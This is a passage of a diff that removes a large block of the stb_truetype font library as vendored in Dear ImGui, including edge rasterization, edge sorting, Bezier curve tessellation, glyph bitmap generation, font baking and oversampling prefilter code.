-dx; - dy = -dy; - t = x0, x0 = xb, xb = t; - // [DEAR IMGUI] Fix static analyzer warning - (void)dx; // [ImGui: fix static analyzer warning] - } - - x1 = (int) x_top; - x2 = (int) x_bottom; - // compute intersection with y axis at x1+1 - y_crossing = (x1+1 - x0) * dy + y_top; - - sign = e->direction; - // area of the rectangle covered from y0..y_crossing - area = sign * (y_crossing-sy0); - // area of the triangle (x_top,y0), (x+1,y0), (x+1,y_crossing) - scanline[x1] += area * (1-((x_top - x1)+(x1+1-x1))/2); - - step = sign * dy; - for (x = x1+1; x < x2; ++x) { - scanline[x] += area + step/2; - area += step; - } - y_crossing += dy * (x2 - (x1+1)); - - STBTT_assert(STBTT_fabs(area) <= 1.01f); - - scanline[x2] += area + sign * (1-((x2-x2)+(x_bottom-x2))/2) * (sy1-y_crossing); - - scanline_fill[x2] += sign * (sy1-sy0); - } - } else { - // if edge goes outside of box we're drawing, we require - // clipping logic. since this does not match the intended use - // of this library, we use a different, very slow brute - // force implementation - int x; - for (x=0; x < len; ++x) { - // cases: - // - // there can be up to two intersections with the pixel. any intersection - // with left or right edges can be handled by splitting into two (or three) - // regions. intersections with top & bottom do not necessitate case-wise logic. - // - // the old way of doing this found the intersections with the left & right edges, - // then used some simple logic to produce up to three segments in sorted order - // from top-to-bottom. however, this had a problem: if an x edge was epsilon - // across the x border, then the corresponding y position might not be distinct - // from the other y segment, and it might ignored as an empty segment. to avoid - // that, we need to explicitly produce segments based on x positions. - - // rename variables to clearly-defined pairs - float y0 = y_top; - float x1 = (float) (x); - float x2 = (float) (x+1); - float x3 = xb; - float y3 = y_bottom; - - // x = e->x + e->dx * (y-y_top) - // (y-y_top) = (x - e->x) / e->dx - // y = (x - e->x) / e->dx + y_top - float y1 = (x - x0) / dx + y_top; - float y2 = (x+1 - x0) / dx + y_top; - - if (x0 < x1 && x3 > x2) { // three segments descending down-right - stbtt__handle_clipped_edge(scanline,x,e, x0,y0, x1,y1); - stbtt__handle_clipped_edge(scanline,x,e, x1,y1, x2,y2); - stbtt__handle_clipped_edge(scanline,x,e, x2,y2, x3,y3); - } else if (x3 < x1 && x0 > x2) { // three segments descending down-left - stbtt__handle_clipped_edge(scanline,x,e, x0,y0, x2,y2); - stbtt__handle_clipped_edge(scanline,x,e, x2,y2, x1,y1); - stbtt__handle_clipped_edge(scanline,x,e, x1,y1, x3,y3); - } else if (x0 < x1 && x3 > x1) { // two segments across x, down-right - stbtt__handle_clipped_edge(scanline,x,e, x0,y0, x1,y1); - stbtt__handle_clipped_edge(scanline,x,e, x1,y1, x3,y3); - } else if (x3 < x1 && x0 > x1) { // two segments across x, down-left - stbtt__handle_clipped_edge(scanline,x,e, x0,y0, x1,y1); - stbtt__handle_clipped_edge(scanline,x,e, x1,y1, x3,y3); - } else if (x0 < x2 && x3 > x2) { // two segments across x+1, down-right - stbtt__handle_clipped_edge(scanline,x,e, x0,y0, x2,y2); - stbtt__handle_clipped_edge(scanline,x,e, x2,y2, x3,y3); - } else if (x3 < x2 && x0 > x2) { // two segments across x+1, down-left - stbtt__handle_clipped_edge(scanline,x,e, x0,y0, x2,y2); - stbtt__handle_clipped_edge(scanline,x,e, x2,y2, x3,y3); - } else { // one segment - stbtt__handle_clipped_edge(scanline,x,e, x0,y0, x3,y3); - } - } - } - } - e = e->next; - } -} - -// directly AA rasterize edges w/o supersampling -static void stbtt__rasterize_sorted_edges(stbtt__bitmap *result, stbtt__edge *e, int n, int vsubsample, int off_x, int off_y, void *userdata) -{ - stbtt__hheap hh = { 0, 0, 0 }; - stbtt__active_edge *active = NULL; - int y,j=0, i; - float scanline_data[129], *scanline, *scanline2; - - STBTT__NOTUSED(vsubsample); - - if (result->w > 64) - scanline = (float *) STBTT_malloc((result->w*2+1) * sizeof(float), userdata); - else - scanline = scanline_data; - - scanline2 = scanline + result->w; - - y = off_y; - e[n].y0 = (float) (off_y + result->h) + 1; - - while (j < result->h) { - // find center of pixel for this scanline - float scan_y_top = y + 0.0f; - float scan_y_bottom = y + 1.0f; - stbtt__active_edge **step = &active; - - STBTT_memset(scanline , 0, result->w*sizeof(scanline[0])); - STBTT_memset(scanline2, 0, (result->w+1)*sizeof(scanline[0])); - - // update all active edges; - // remove all active edges that terminate before the top of this scanline - while (*step) { - stbtt__active_edge * z = *step; - if (z->ey <= scan_y_top) { - *step = z->next; // delete from list - STBTT_assert(z->direction); - z->direction = 0; - stbtt__hheap_free(&hh, z); - } else { - step = &((*step)->next); // advance through list - } - } - - // insert all edges that start before the bottom of this scanline - while (e->y0 <= scan_y_bottom) { - if (e->y0 != e->y1) { - stbtt__active_edge *z = stbtt__new_active(&hh, e, off_x, scan_y_top, userdata); - if (z != NULL) { - if (j == 0 && off_y != 0) { - if (z->ey < scan_y_top) { - // this can happen due to subpixel positioning and some kind of fp rounding error i think - z->ey = scan_y_top; - } - } - STBTT_assert(z->ey >= scan_y_top); // if we get really unlucky a tiny bit of an edge can be out of bounds - // insert at front - z->next = active; - active = z; - } - } - ++e; - } - - // now process all active edges - if (active) - stbtt__fill_active_edges_new(scanline, scanline2+1, result->w, active, scan_y_top); - - { - float sum = 0; - for (i=0; i < result->w; ++i) { - float k; - int m; - sum += scanline2[i]; - k = scanline[i] + sum; - k = (float) STBTT_fabs(k)*255 + 0.5f; - m = (int) k; - if (m > 255) m = 255; - result->pixels[j*result->stride + i] = (unsigned char) m; - } - } - // advance all the edges - step = &active; - while (*step) { - stbtt__active_edge *z = *step; - z->fx += z->fdx; // advance to position for current scanline - step = &((*step)->next); // advance through list - } - - ++y; - ++j; - } - - stbtt__hheap_cleanup(&hh, userdata); - - if (scanline != scanline_data) - STBTT_free(scanline, userdata); -} -#else -#error "Unrecognized value of STBTT_RASTERIZER_VERSION" -#endif - -#define STBTT__COMPARE(a,b) ((a)->y0 < (b)->y0) - -static void stbtt__sort_edges_ins_sort(stbtt__edge *p, int n) -{ - int i,j; - for (i=1; i < n; ++i) { - stbtt__edge t = p[i], *a = &t; - j = i; - while (j > 0) { - stbtt__edge *b = &p[j-1]; - int c = STBTT__COMPARE(a,b); - if (!c) break; - p[j] = p[j-1]; - --j; - } - if (i != j) - p[j] = t; - } -} - -static void stbtt__sort_edges_quicksort(stbtt__edge *p, int n) -{ - /* threshold for transitioning to insertion sort */ - while (n > 12) { - stbtt__edge t; - int c01,c12,c,m,i,j; - - /* compute median of three */ - m = n >> 1; - c01 = STBTT__COMPARE(&p[0],&p[m]); - c12 = STBTT__COMPARE(&p[m],&p[n-1]); - /* if 0 >= mid >= end, or 0 < mid < end, then use mid */ - if (c01 != c12) { - /* otherwise, we'll need to swap something else to middle */ - int z; - c = STBTT__COMPARE(&p[0],&p[n-1]); - /* 0>mid && midn => n; 0 0 */ - /* 0n: 0>n => 0; 0 n */ - z = (c == c12) ? 0 : n-1; - t = p[z]; - p[z] = p[m]; - p[m] = t; - } - /* now p[m] is the median-of-three */ - /* swap it to the beginning so it won't move around */ - t = p[0]; - p[0] = p[m]; - p[m] = t; - - /* partition loop */ - i=1; - j=n-1; - for(;;) { - /* handling of equality is crucial here */ - /* for sentinels & efficiency with duplicates */ - for (;;++i) { - if (!STBTT__COMPARE(&p[i], &p[0])) break; - } - for (;;--j) { - if (!STBTT__COMPARE(&p[0], &p[j])) break; - } - /* make sure we haven't crossed */ - if (i >= j) break; - t = p[i]; - p[i] = p[j]; - p[j] = t; - - ++i; - --j; - } - /* recurse on smaller side, iterate on larger */ - if (j < (n-i)) { - stbtt__sort_edges_quicksort(p,j); - p = p+i; - n = n-i; - } else { - stbtt__sort_edges_quicksort(p+i, n-i); - n = j; - } - } -} - -static void stbtt__sort_edges(stbtt__edge *p, int n) -{ - stbtt__sort_edges_quicksort(p, n); - stbtt__sort_edges_ins_sort(p, n); -} - -typedef struct -{ - float x,y; -} stbtt__point; - -static void stbtt__rasterize(stbtt__bitmap *result, stbtt__point *pts, int *wcount, int windings, float scale_x, float scale_y, float shift_x, float shift_y, int off_x, int off_y, int invert, void *userdata) -{ - float y_scale_inv = invert ? -scale_y : scale_y; - stbtt__edge *e; - int n,i,j,k,m; -#if STBTT_RASTERIZER_VERSION == 1 - int vsubsample = result->h < 8 ? 15 : 5; -#elif STBTT_RASTERIZER_VERSION == 2 - int vsubsample = 1; -#else - #error "Unrecognized value of STBTT_RASTERIZER_VERSION" -#endif - // vsubsample should divide 255 evenly; otherwise we won't reach full opacity - - // now we have to blow out the windings into explicit edge lists - n = 0; - for (i=0; i < windings; ++i) - n += wcount[i]; - - e = (stbtt__edge *) STBTT_malloc(sizeof(*e) * (n+1), userdata); // add an extra one as a sentinel - if (e == 0) return; - n = 0; - - m=0; - for (i=0; i < windings; ++i) { - stbtt__point *p = pts + m; - m += wcount[i]; - j = wcount[i]-1; - for (k=0; k < wcount[i]; j=k++) { - int a=k,b=j; - // skip the edge if horizontal - if (p[j].y == p[k].y) - continue; - // add edge from j to k to the list - e[n].invert = 0; - if (invert ? p[j].y > p[k].y : p[j].y < p[k].y) { - e[n].invert = 1; - a=j,b=k; - } - e[n].x0 = p[a].x * scale_x + shift_x; - e[n].y0 = (p[a].y * y_scale_inv + shift_y) * vsubsample; - e[n].x1 = p[b].x * scale_x + shift_x; - e[n].y1 = (p[b].y * y_scale_inv + shift_y) * vsubsample; - ++n; - } - } - - // now sort the edges by their highest point (should snap to integer, and then by x) - //STBTT_sort(e, n, sizeof(e[0]), stbtt__edge_compare); - stbtt__sort_edges(e, n); - - // now, traverse the scanlines and find the intersections on each scanline, use xor winding rule - stbtt__rasterize_sorted_edges(result, e, n, vsubsample, off_x, off_y, userdata); - - STBTT_free(e, userdata); -} - -static void stbtt__add_point(stbtt__point *points, int n, float x, float y) -{ - if (!points) return; // during first pass, it's unallocated - points[n].x = x; - points[n].y = y; -} - -// tessellate until threshold p is happy... @TODO warped to compensate for non-linear stretching -static int stbtt__tesselate_curve(stbtt__point *points, int *num_points, float x0, float y0, float x1, float y1, float x2, float y2, float objspace_flatness_squared, int n) -{ - // midpoint - float mx = (x0 + 2*x1 + x2)/4; - float my = (y0 + 2*y1 + y2)/4; - // versus directly drawn line - float dx = (x0+x2)/2 - mx; - float dy = (y0+y2)/2 - my; - if (n > 16) // 65536 segments on one curve better be enough! - return 1; - if (dx*dx+dy*dy > objspace_flatness_squared) { // half-pixel error allowed... need to be smaller if AA - stbtt__tesselate_curve(points, num_points, x0,y0, (x0+x1)/2.0f,(y0+y1)/2.0f, mx,my, objspace_flatness_squared,n+1); - stbtt__tesselate_curve(points, num_points, mx,my, (x1+x2)/2.0f,(y1+y2)/2.0f, x2,y2, objspace_flatness_squared,n+1); - } else { - stbtt__add_point(points, *num_points,x2,y2); - *num_points = *num_points+1; - } - return 1; -} - -static void stbtt__tesselate_cubic(stbtt__point *points, int *num_points, float x0, float y0, float x1, float y1, float x2, float y2, float x3, float y3, float objspace_flatness_squared, int n) -{ - // @TODO this "flatness" calculation is just made-up nonsense that seems to work well enough - float dx0 = x1-x0; - float dy0 = y1-y0; - float dx1 = x2-x1; - float dy1 = y2-y1; - float dx2 = x3-x2; - float dy2 = y3-y2; - float dx = x3-x0; - float dy = y3-y0; - float longlen = (float) (STBTT_sqrt(dx0*dx0+dy0*dy0)+STBTT_sqrt(dx1*dx1+dy1*dy1)+STBTT_sqrt(dx2*dx2+dy2*dy2)); - float shortlen = (float) STBTT_sqrt(dx*dx+dy*dy); - float flatness_squared = longlen*longlen-shortlen*shortlen; - - if (n > 16) // 65536 segments on one curve better be enough! - return; - - if (flatness_squared > objspace_flatness_squared) { - float x01 = (x0+x1)/2; - float y01 = (y0+y1)/2; - float x12 = (x1+x2)/2; - float y12 = (y1+y2)/2; - float x23 = (x2+x3)/2; - float y23 = (y2+y3)/2; - - float xa = (x01+x12)/2; - float ya = (y01+y12)/2; - float xb = (x12+x23)/2; - float yb = (y12+y23)/2; - - float mx = (xa+xb)/2; - float my = (ya+yb)/2; - - stbtt__tesselate_cubic(points, num_points, x0,y0, x01,y01, xa,ya, mx,my, objspace_flatness_squared,n+1); - stbtt__tesselate_cubic(points, num_points, mx,my, xb,yb, x23,y23, x3,y3, objspace_flatness_squared,n+1); - } else { - stbtt__add_point(points, *num_points,x3,y3); - *num_points = *num_points+1; - } -} - -// returns number of contours -static stbtt__point *stbtt_FlattenCurves(stbtt_vertex *vertices, int num_verts, float objspace_flatness, int **contour_lengths, int *num_contours, void *userdata) -{ - stbtt__point *points=0; - int num_points=0; - - float objspace_flatness_squared = objspace_flatness * objspace_flatness; - int i,n=0,start=0, pass; - - // count how many "moves" there are to get the contour count - for (i=0; i < num_verts; ++i) - if (vertices[i].type == STBTT_vmove) - ++n; - - *num_contours = n; - if (n == 0) return 0; - - *contour_lengths = (int *) STBTT_malloc(sizeof(**contour_lengths) * n, userdata); - - if (*contour_lengths == 0) { - *num_contours = 0; - return 0; - } - - // make two passes through the points so we don't need to realloc - for (pass=0; pass < 2; ++pass) { - float x=0,y=0; - if (pass == 1) { - points = (stbtt__point *) STBTT_malloc(num_points * sizeof(points[0]), userdata); - if (points == NULL) goto error; - } - num_points = 0; - n= -1; - for (i=0; i < num_verts; ++i) { - switch (vertices[i].type) { - case STBTT_vmove: - // start the next contour - if (n >= 0) - (*contour_lengths)[n] = num_points - start; - ++n; - start = num_points; - - x = vertices[i].x, y = vertices[i].y; - stbtt__add_point(points, num_points++, x,y); - break; - case STBTT_vline: - x = vertices[i].x, y = vertices[i].y; - stbtt__add_point(points, num_points++, x, y); - break; - case STBTT_vcurve: - stbtt__tesselate_curve(points, &num_points, x,y, - vertices[i].cx, vertices[i].cy, - vertices[i].x, vertices[i].y, - objspace_flatness_squared, 0); - x = vertices[i].x, y = vertices[i].y; - break; - case STBTT_vcubic: - stbtt__tesselate_cubic(points, &num_points, x,y, - vertices[i].cx, vertices[i].cy, - vertices[i].cx1, vertices[i].cy1, - vertices[i].x, vertices[i].y, - objspace_flatness_squared, 0); - x = vertices[i].x, y = vertices[i].y; - break; - } - } - (*contour_lengths)[n] = num_points - start; - } - - return points; -error: - STBTT_free(points, userdata); - STBTT_free(*contour_lengths, userdata); - *contour_lengths = 0; - *num_contours = 0; - return NULL; -} - -STBTT_DEF void stbtt_Rasterize(stbtt__bitmap *result, float flatness_in_pixels, stbtt_vertex *vertices, int num_verts, float scale_x, float scale_y, float shift_x, float shift_y, int x_off, int y_off, int invert, void *userdata) -{ - float scale = scale_x > scale_y ? scale_y : scale_x; - int winding_count = 0; - int *winding_lengths = NULL; - stbtt__point *windings = stbtt_FlattenCurves(vertices, num_verts, flatness_in_pixels / scale, &winding_lengths, &winding_count, userdata); - if (windings) { - stbtt__rasterize(result, windings, winding_lengths, winding_count, scale_x, scale_y, shift_x, shift_y, x_off, y_off, invert, userdata); - STBTT_free(winding_lengths, userdata); - STBTT_free(windings, userdata); - } -} - -STBTT_DEF void stbtt_FreeBitmap(unsigned char *bitmap, void *userdata) -{ - STBTT_free(bitmap, userdata); -} - -STBTT_DEF unsigned char *stbtt_GetGlyphBitmapSubpixel(const stbtt_fontinfo *info, float scale_x, float scale_y, float shift_x, float shift_y, int glyph, int *width, int *height, int *xoff, int *yoff) -{ - int ix0,iy0,ix1,iy1; - stbtt__bitmap gbm; - stbtt_vertex *vertices; - int num_verts = stbtt_GetGlyphShape(info, glyph, &vertices); - - if (scale_x == 0) scale_x = scale_y; - if (scale_y == 0) { - if (scale_x == 0) { - STBTT_free(vertices, info->userdata); - return NULL; - } - scale_y = scale_x; - } - - stbtt_GetGlyphBitmapBoxSubpixel(info, glyph, scale_x, scale_y, shift_x, shift_y, &ix0,&iy0,&ix1,&iy1); - - // now we get the size - gbm.w = (ix1 - ix0); - gbm.h = (iy1 - iy0); - gbm.pixels = NULL; // in case we error - - if (width ) *width = gbm.w; - if (height) *height = gbm.h; - if (xoff ) *xoff = ix0; - if (yoff ) *yoff = iy0; - - if (gbm.w && gbm.h) { - gbm.pixels = (unsigned char *) STBTT_malloc(gbm.w * gbm.h, info->userdata); - if (gbm.pixels) { - gbm.stride = gbm.w; - - stbtt_Rasterize(&gbm, 0.35f, vertices, num_verts, scale_x, scale_y, shift_x, shift_y, ix0, iy0, 1, info->userdata); - } - } - STBTT_free(vertices, info->userdata); - return gbm.pixels; -} - -STBTT_DEF unsigned char *stbtt_GetGlyphBitmap(const stbtt_fontinfo *info, float scale_x, float scale_y, int glyph, int *width, int *height, int *xoff, int *yoff) -{ - return stbtt_GetGlyphBitmapSubpixel(info, scale_x, scale_y, 0.0f, 0.0f, glyph, width, height, xoff, yoff); -} - -STBTT_DEF void stbtt_MakeGlyphBitmapSubpixel(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, float shift_x, float shift_y, int glyph) -{ - int ix0,iy0; - stbtt_vertex *vertices; - int num_verts = stbtt_GetGlyphShape(info, glyph, &vertices); - stbtt__bitmap gbm; - - stbtt_GetGlyphBitmapBoxSubpixel(info, glyph, scale_x, scale_y, shift_x, shift_y, &ix0,&iy0,0,0); - gbm.pixels = output; - gbm.w = out_w; - gbm.h = out_h; - gbm.stride = out_stride; - - if (gbm.w && gbm.h) - stbtt_Rasterize(&gbm, 0.35f, vertices, num_verts, scale_x, scale_y, shift_x, shift_y, ix0,iy0, 1, info->userdata); - - STBTT_free(vertices, info->userdata); -} - -STBTT_DEF void stbtt_MakeGlyphBitmap(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, int glyph) -{ - stbtt_MakeGlyphBitmapSubpixel(info, output, out_w, out_h, out_stride, scale_x, scale_y, 0.0f,0.0f, glyph); -} - -STBTT_DEF unsigned char *stbtt_GetCodepointBitmapSubpixel(const stbtt_fontinfo *info, float scale_x, float scale_y, float shift_x, float shift_y, int codepoint, int *width, int *height, int *xoff, int *yoff) -{ - return stbtt_GetGlyphBitmapSubpixel(info, scale_x, scale_y,shift_x,shift_y, stbtt_FindGlyphIndex(info,codepoint), width,height,xoff,yoff); -} - -STBTT_DEF void stbtt_MakeCodepointBitmapSubpixelPrefilter(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, float shift_x, float shift_y, int oversample_x, int oversample_y, float *sub_x, float *sub_y, int codepoint) -{ - stbtt_MakeGlyphBitmapSubpixelPrefilter(info, output, out_w, out_h, out_stride, scale_x, scale_y, shift_x, shift_y, oversample_x, oversample_y, sub_x, sub_y, stbtt_FindGlyphIndex(info,codepoint)); -} - -STBTT_DEF void stbtt_MakeCodepointBitmapSubpixel(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, float shift_x, float shift_y, int codepoint) -{ - stbtt_MakeGlyphBitmapSubpixel(info, output, out_w, out_h, out_stride, scale_x, scale_y, shift_x, shift_y, stbtt_FindGlyphIndex(info,codepoint)); -} - -STBTT_DEF unsigned char *stbtt_GetCodepointBitmap(const stbtt_fontinfo *info, float scale_x, float scale_y, int codepoint, int *width, int *height, int *xoff, int *yoff) -{ - return stbtt_GetCodepointBitmapSubpixel(info, scale_x, scale_y, 0.0f,0.0f, codepoint, width,height,xoff,yoff); -} - -STBTT_DEF void stbtt_MakeCodepointBitmap(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, int codepoint) -{ - stbtt_MakeCodepointBitmapSubpixel(info, output, out_w, out_h, out_stride, scale_x, scale_y, 0.0f,0.0f, codepoint); -} - -////////////////////////////////////////////////////////////////////////////// -// -// bitmap baking -// -// This is SUPER-CRAPPY packing to keep source code small - -static int stbtt_BakeFontBitmap_internal(unsigned char *data, int offset, // font location (use offset=0 for plain .ttf) - float pixel_height, // height of font in pixels - unsigned char *pixels, int pw, int ph, // bitmap to be filled in - int first_char, int num_chars, // characters to bake - stbtt_bakedchar *chardata) -{ - float scale; - int x,y,bottom_y, i; - stbtt_fontinfo f; - f.userdata = NULL; - if (!stbtt_InitFont(&f, data, offset)) - return -1; - STBTT_memset(pixels, 0, pw*ph); // background of 0 around pixels - x=y=1; - bottom_y = 1; - - scale = stbtt_ScaleForPixelHeight(&f, pixel_height); - - for (i=0; i < num_chars; ++i) { - int advance, lsb, x0,y0,x1,y1,gw,gh; - int g = stbtt_FindGlyphIndex(&f, first_char + i); - stbtt_GetGlyphHMetrics(&f, g, &advance, &lsb); - stbtt_GetGlyphBitmapBox(&f, g, scale,scale, &x0,&y0,&x1,&y1); - gw = x1-x0; - gh = y1-y0; - if (x + gw + 1 >= pw) - y = bottom_y, x = 1; // advance to next row - if (y + gh + 1 >= ph) // check if it fits vertically AFTER potentially moving to next row - return -i; - STBTT_assert(x+gw < pw); - STBTT_assert(y+gh < ph); - stbtt_MakeGlyphBitmap(&f, pixels+x+y*pw, gw,gh,pw, scale,scale, g); - chardata[i].x0 = (stbtt_int16) x; - chardata[i].y0 = (stbtt_int16) y; - chardata[i].x1 = (stbtt_int16) (x + gw); - chardata[i].y1 = (stbtt_int16) (y + gh); - chardata[i].xadvance = scale * advance; - chardata[i].xoff = (float) x0; - chardata[i].yoff = (float) y0; - x = x + gw + 1; - if (y+gh+1 > bottom_y) - bottom_y = y+gh+1; - } - return bottom_y; -} - -STBTT_DEF void stbtt_GetBakedQuad(const stbtt_bakedchar *chardata, int pw, int ph, int char_index, float *xpos, float *ypos, stbtt_aligned_quad *q, int opengl_fillrule) -{ - float d3d_bias = opengl_fillrule ? 0 : -0.5f; - float ipw = 1.0f / pw, iph = 1.0f / ph; - const stbtt_bakedchar *b = chardata + char_index; - int round_x = STBTT_ifloor((*xpos + b->xoff) + 0.5f); - int round_y = STBTT_ifloor((*ypos + b->yoff) + 0.5f); - - q->x0 = round_x + d3d_bias; - q->y0 = round_y + d3d_bias; - q->x1 = round_x + b->x1 - b->x0 + d3d_bias; - q->y1 = round_y + b->y1 - b->y0 + d3d_bias; - - q->s0 = b->x0 * ipw; - q->t0 = b->y0 * iph; - q->s1 = b->x1 * ipw; - q->t1 = b->y1 * iph; - - *xpos += b->xadvance; -} - -////////////////////////////////////////////////////////////////////////////// -// -// rectangle packing replacement routines if you don't have stb_rect_pack.h -// - -#ifndef STB_RECT_PACK_VERSION - -typedef int stbrp_coord; - -//////////////////////////////////////////////////////////////////////////////////// -// // -// // -// COMPILER WARNING ?!?!? // -// // -// // -// if you get a compile warning due to these symbols being defined more than // -// once, move #include "stb_rect_pack.h" before #include "stb_truetype.h" // -// // -//////////////////////////////////////////////////////////////////////////////////// - -typedef struct -{ - int width,height; - int x,y,bottom_y; -} stbrp_context; - -typedef struct -{ - unsigned char x; -} stbrp_node; - -struct stbrp_rect -{ - stbrp_coord x,y; - int id,w,h,was_packed; -}; - -static void stbrp_init_target(stbrp_context *con, int pw, int ph, stbrp_node *nodes, int num_nodes) -{ - con->width = pw; - con->height = ph; - con->x = 0; - con->y = 0; - con->bottom_y = 0; - STBTT__NOTUSED(nodes); - STBTT__NOTUSED(num_nodes); -} - -static void stbrp_pack_rects(stbrp_context *con, stbrp_rect *rects, int num_rects) -{ - int i; - for (i=0; i < num_rects; ++i) { - if (con->x + rects[i].w > con->width) { - con->x = 0; - con->y = con->bottom_y; - } - if (con->y + rects[i].h > con->height) - break; - rects[i].x = con->x; - rects[i].y = con->y; - rects[i].was_packed = 1; - con->x += rects[i].w; - if (con->y + rects[i].h > con->bottom_y) - con->bottom_y = con->y + rects[i].h; - } - for ( ; i < num_rects; ++i) - rects[i].was_packed = 0; -} -#endif - -////////////////////////////////////////////////////////////////////////////// -// -// bitmap baking -// -// This is SUPER-AWESOME (tm Ryan Gordon) packing using stb_rect_pack.h. If -// stb_rect_pack.h isn't available, it uses the BakeFontBitmap strategy. - -STBTT_DEF int stbtt_PackBegin(stbtt_pack_context *spc, unsigned char *pixels, int pw, int ph, int stride_in_bytes, int padding, void *alloc_context) -{ - stbrp_context *context = (stbrp_context *) STBTT_malloc(sizeof(*context) ,alloc_context); - int num_nodes = pw - padding; - stbrp_node *nodes = (stbrp_node *) STBTT_malloc(sizeof(*nodes ) * num_nodes,alloc_context); - - if (context == NULL || nodes == NULL) { - if (context != NULL) STBTT_free(context, alloc_context); - if (nodes != NULL) STBTT_free(nodes , alloc_context); - return 0; - } - - spc->user_allocator_context = alloc_context; - spc->width = pw; - spc->height = ph; - spc->pixels = pixels; - spc->pack_info = context; - spc->nodes = nodes; - spc->padding = padding; - spc->stride_in_bytes = stride_in_bytes != 0 ? stride_in_bytes : pw; - spc->h_oversample = 1; - spc->v_oversample = 1; - spc->skip_missing = 0; - - stbrp_init_target(context, pw-padding, ph-padding, nodes, num_nodes); - - if (pixels) - STBTT_memset(pixels, 0, pw*ph); // background of 0 around pixels - - return 1; -} - -STBTT_DEF void stbtt_PackEnd (stbtt_pack_context *spc) -{ - STBTT_free(spc->nodes , spc->user_allocator_context); - STBTT_free(spc->pack_info, spc->user_allocator_context); -} - -STBTT_DEF void stbtt_PackSetOversampling(stbtt_pack_context *spc, unsigned int h_oversample, unsigned int v_oversample) -{ - STBTT_assert(h_oversample <= STBTT_MAX_OVERSAMPLE); - STBTT_assert(v_oversample <= STBTT_MAX_OVERSAMPLE); - if (h_oversample <= STBTT_MAX_OVERSAMPLE) - spc->h_oversample = h_oversample; - if (v_oversample <= STBTT_MAX_OVERSAMPLE) - spc->v_oversample = v_oversample; -} - -STBTT_DEF void stbtt_PackSetSkipMissingCodepoints(stbtt_pack_context *spc, int skip) -{ - spc->skip_missing = skip; -} - -#define STBTT__OVER_MASK (STBTT_MAX_OVERSAMPLE-1) - -static void stbtt__h_prefilter(unsigned char *pixels, int w, int h, int stride_in_bytes, unsigned int kernel_width) -{ - unsigned char buffer[STBTT_MAX_OVERSAMPLE]; - int safe_w = w - kernel_width; - int j; - STBTT_memset(buffer, 0, STBTT_MAX_OVERSAMPLE); // suppress bogus warning from VS2013 -analyze - for (j=0; j < h; ++j) { - int i; - unsigned int total; - STBTT_memset(buffer, 0, kernel_width); - - total = 0; - - // make kernel_width a constant in common cases so compiler can optimize out the divide - switch (kernel_width) { - case 2: - for (i=0; i <= safe_w; ++i) { - total += pixels[i] - buffer[i & STBTT__OVER_MASK]; - buffer[(i+kernel_width) & STBTT__OVER_MASK] = pixels[i]; - pixels[i] = (unsigned char) (total / 2); - } - break; - case 3: - for (i=0; i <= safe_w; ++i) { - total += pixels[i] - buffer[i & STBTT__OVER_MASK]; - buffer[(i+kernel_width) & STBTT__OVER_MASK] = pixels[i]; - pixels[i] = (unsigned char) (total / 3); - } - break; - case 4: - for (i=0; i <= safe_w; ++i) { - total += pixels[i] - buffer[i & STBTT__OVER_MASK]; - buffer[(i+kernel_width) & STBTT__OVER_MASK] = pixels[i]; - pixels[i] = (unsigned char) (total / 4); - } - break; - case 5: - for (i=0; i <= safe_w; ++i) { - total += pixels[i] - buffer[i & STBTT__OVER_MASK]; - buffer[(i+kernel_width) & STBTT__OVER_MASK] = pixels[i]; - pixels[i] = (unsigned char) (total / 5); - } - break; - default: - for (i=0; i <= safe_w; ++i) { - total += pixels[i] - buffer[i & STBTT__OVER_MASK]; - buffer[(i+kernel_width) & STBTT__OVER_MASK] = pixels[i]; - pixels[i] = (unsigned char) (total / kernel_width); - } - break; - } - - for (; i < w; ++i) { - STBTT_assert(pixels[i] == 0); - total -= buffer[i & STBTT__OVER_MASK]; - pixels[i] = (unsigned char) (total / kernel_width); - } - - pixels += stride_in_bytes; - } -} - -static void stbtt__v_prefilter(unsigned char *pixels, int w, int h, int stride_in_bytes, unsigned int kernel_width) -{ - unsigned char buffer[STBTT_MAX_OVERSAMPLE]; - int safe_h = h - kernel_width; - int j; - STBTT_memset(buffer, 0, STBTT_MAX_OVERSAMPLE); // suppress bogus warning from VS2013 -analyze - for (j=0; j < w; ++j) { - int i; - unsigned int total; - STBTT_memset(buffer, 0, kernel_width); - - total = 0; - - // make kernel_width a constant in common cases so compiler can optimize out the divide - switch (kernel_width) { - case 2: - for (i=0; i <= safe_h; ++i) { - total += pixels[i*stride_in_bytes] - buffer[i & STBTT__OVER_MASK]; - buffer[(i+kernel_width) & STBTT__OVER_MASK] = pixels[i*stride_in_bytes]; - pixels[i*stride_in_bytes] = (unsigned char) (total / 2); - } - break; - case 3: - for (i=0; i <= safe_h; ++i) { - total += pixels[i*stride_in_bytes] - buffer[i & STBTT__OVER_MASK]; - buffer[(i+kernel_width) & STBTT__OVER_MASK] = pixels[i*stride_in_bytes]; - pixels[i*stride_in_bytes] = (unsigned char) (total / 3); - } - break; - case 4: - for (i=0; i <= safe_h; ++i) { - total += pixels[i*stride_in_bytes] - buffer[i & STBTT__OVER_MASK]; - buffer[(i+kernel_width) & STBTT__OVER_MASK] = pixels[i*stride_in_bytes]; - pixels[i*stride_in_bytes] = (unsigned char) (total / 4); - } - break; - case 5: - for (i=0; i <= safe_h; ++i) { - total += pixels[i*stride_in_bytes] - buffer[i & STBTT__OVER_MASK]; - buffer[(i+kernel_width) & STBTT__OVER_MASK] = pixels[i*stride_in_bytes]; - pixels[i*stride_in_bytes] = (unsigned char) (total / 5); - } - break; - default: - for (i=0; i <= safe_h; ++i) { - total += pixels[i*stride_in_bytes] - buffer[i & STBTT__OVER_MASK]; - buffer[(i+kernel_width) & STBTT__OVER_MASK] = pixels[i*stride_in_bytes]; - pixels[i*stride_in_bytes] = (unsigned char) (total / kernel_width); - } - break; - } - - for (; i < h; ++i) { - STBTT_assert(pixels[i*stride_in_bytes] == 0); - total -= buffer[i & STBTT__OVER_MASK]; - pixels[i*stride_in_bytes] = (unsigned char) (total / kernel_width); - } - - pixels += 1; - } -} - -static float stbtt__oversample_shift(int oversample) -{ - if (!oversample) - return 0.0f; - - // The prefilter is a box filter of width "oversample", - // which shifts phase by (oversample - 